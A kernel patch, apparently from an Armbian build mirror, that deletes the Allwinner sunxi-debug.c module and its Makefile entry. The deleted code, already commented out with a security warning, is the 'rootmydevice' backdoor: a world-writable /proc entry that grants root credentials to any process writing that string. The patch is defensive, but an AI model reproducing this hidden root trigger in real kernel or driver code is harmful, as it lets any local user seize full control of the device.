mirror of
https://github.com/Fishwaldo/build.git
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122 lines
2.9 KiB
Diff
122 lines
2.9 KiB
Diff
diff --git a/arch/arm/mach-sunxi/Makefile b/arch/arm/mach-sunxi/Makefile
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index 43bd7a6..7a50c26 100755
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--- a/arch/arm/mach-sunxi/Makefile
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+++ b/arch/arm/mach-sunxi/Makefile
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@@ -49,7 +49,7 @@ obj-y += sunxi-headsmp.o sunxi-platsmp.o
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obj-$(CONFIG_HOTPLUG_CPU) += sunxi-hotplug.o
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endif
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-obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o sunxi-debug.o
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+obj-y += sys_config.o sunxi_dump_reg.o sunxi-chip.o sunxi_sram.o
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obj-$(CONFIG_SUNXI_TRUSTZONE) += firmware.o
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obj-$(CONFIG_SUNXI_TRUSTZONE) += sunxi-smc.o
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diff --git a/arch/arm/mach-sunxi/sunxi-debug.c b/arch/arm/mach-sunxi/sunxi-debug.c
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deleted file mode 100755
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index 53ed9fc..0000000
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--- a/arch/arm/mach-sunxi/sunxi-debug.c
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+++ /dev/null
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@@ -1,103 +0,0 @@
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-/*
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- * Sunxi_debug.c
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- *
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- *
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- * This program is free software; you can redistribute it and/or modify
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- * it under the terms of the GNU General Public License version 2 as
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- * published by the Free Software Foundation.
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- */
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-#include <linux/kernel.h>
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-#include <linux/types.h>
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-#include <linux/export.h>
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-#include <linux/kthread.h>
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-
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-#include <linux/debugfs.h>
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-#include <linux/proc_fs.h>//add by fe3o4
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-#include <linux/uaccess.h>
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-#include <linux/cred.h>
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-
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-static struct proc_dir_entry *proc_root;
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-static struct proc_dir_entry * proc_su;
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-
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-
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-static int sunxi_proc_su_write(struct file *file, const char __user *buffer,
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- unsigned long count, void *data)
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-{
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- char *buf;
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- struct cred *cred;
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-
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- if (count < 1)
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- return -EINVAL;
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-
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- buf = kmalloc(count, GFP_KERNEL);
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- if (!buf)
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- return -ENOMEM;
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-
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- if (copy_from_user(buf, buffer, count)) {
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- kfree(buf);
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- return -EFAULT;
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- }
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-
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- /*
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-
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- COMMENTED! THIS CODE ALLOWS FOR PRIVILEGE ESCALATION!
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-
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- http://forum.armbian.com/index.php/topic/1108-security-alert-for-allwinner-sun8i-h3a83th8/
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-
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- Note: This entire file should probably be removed
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-
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- if(!strncmp("rootmydevice",(char*)buf,12)){
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- cred = (struct cred *)__task_cred(current);
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- cred->uid = 0;
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- cred->gid = 0;
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- cred->suid = 0;
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- cred->euid = 0;
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- cred->euid = 0;
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- cred->egid = 0;
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- cred->fsuid = 0;
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- cred->fsgid = 0;
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- printk("now you are root\n");
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- }
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- */
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-
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- kfree(buf);
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- return count;
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-}
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-
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-
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-static int sunxi_proc_su_read(char *page, char **start, off_t off,
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- int count, int *eof, void *data)
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-{
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- printk("sunxi debug: rootmydevice\n");
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- return 0;
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-}
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-
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-static int sunxi_root_procfs_attach(void)
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-{
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- proc_root = proc_mkdir("sunxi_debug", NULL);
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- proc_su= create_proc_entry("sunxi_debug", 0666, proc_root);
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- if (IS_ERR(proc_su)){
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- printk("create sunxi_debug dir error\n");
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- return -1;
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- }
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- proc_su->data = NULL;
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- proc_su->read_proc = sunxi_proc_su_read;
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- proc_su->write_proc = sunxi_proc_su_write;
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- return 0;
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-
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-}
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-
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-static int sunxi_debug_init(void)
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-{
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- int ret;
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- ret = sunxi_root_procfs_attach();
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- printk("===fe3o4==== sunxi_root_procfs_attach ret:%d\n", ret);
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- if(ret){
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- printk("===fe3o4== sunxi_root_procfs_attach failed===\n ");
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- }
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- return ret;
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-}
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-
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-subsys_initcall(sunxi_debug_init);
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-
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-
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